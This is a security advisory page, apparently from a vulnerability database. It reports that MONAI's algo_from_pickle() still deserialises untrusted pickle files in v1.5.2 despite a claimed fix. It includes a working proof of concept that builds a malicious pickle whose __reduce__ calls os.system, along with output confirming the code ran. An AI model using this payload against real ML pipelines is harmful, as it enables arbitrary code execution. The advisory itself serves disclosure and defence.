High

Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming patch

  • Disclosed: 18.08.2026
  • Updated: 11.10.2026 15:18

Summary

GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three pickle.loads() calls remain unchanged. The fix was never implemented.

Vulnerable Code

File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)

python
def algo_from_pickle(pkl_filename: str, ...):
    with open(pkl_filename, "rb") as f_pi:
        data_bytes = f_pi.read()
    data = pickle.loads(data_bytes)          # SINK 1 — line 321, RCE fires here

    # isinstance/key checks happen AFTER deserialization — already too late

    algo_bytes = data.pop("algo_bytes")
    ...
    if len(template_paths_candidates) == 0:
        algo = pickle.loads(algo_bytes)      # SINK 2 — line 350
    else:
        for p in template_paths_candidates:
            algo = pickle.loads(algo_bytes)  # SINK 3 — line 356

No Unpickler subclass, no find_class restriction, no allowlist.

Why the Fix is Incomplete

- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch

PoC

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id > /tmp/rce_proof.txt',))

# Craft malicious pkl
data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None}
with open("/tmp/evil.pkl", "wb") as f:
    f.write(pickle.dumps(data))

# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim
with open("/tmp/evil.pkl", "rb") as f:
    data = pickle.loads(f.read())        # SINK 1 fires — RCE here
algo = pickle.loads(data["algo_bytes"])  # SINK 2 fires

print(open("/tmp/rce_proof.txt").read())
# uid=1000(user) gid=1000(user) groups=...

Verified on monai v1.5.2 (utils.py verbatim source):
[+] RCE CONFIRMED via algo_from_pickle():
    desktop-5657tb1\woong

Impact

Any application or ML pipeline calling algo_from_pickle() with an
attacker-supplied file path is vulnerable to full RCE. Medical AI workflows
frequently exchange model checkpoints, making this a realistic attack vector.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) monai < 1.6.0 1.6.0

References

CVSS score 7.8/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-502
Platform
Python (PyPI)
Package
monai
Disclosed
18.08.2026
Updated
11.10.2026 15:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-4018 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-qxq5-qhx6-94qw - CC BY 4.0

Vulnerability history: monai

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (11) in the archive
Total entries
11
First → latest
09.2025 09.2026
Without a fix
1
Exploited in attacks
0

Severity breakdown

  • High 8
  • Medium 1
  • Unrated 2

Disclosures per year

  1. 2025: 3
  2. 2026: 8
Severity:
  1. High CVE-2026-100844 < 1.6.0 1.6.0
  2. Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming patch this entry
    High · 7.8 CVE-2026-100843 < 1.6.0 1.6.0
  3. High · 7.6 CVE-2026-100846 < 1.6.0 1.6.0
  4. High · 8.8 CVE-2025-58757 < 1.5.1 1.5.1
  5. High · 8.8 CVE-2025-58756 < 1.5.1 1.5.1

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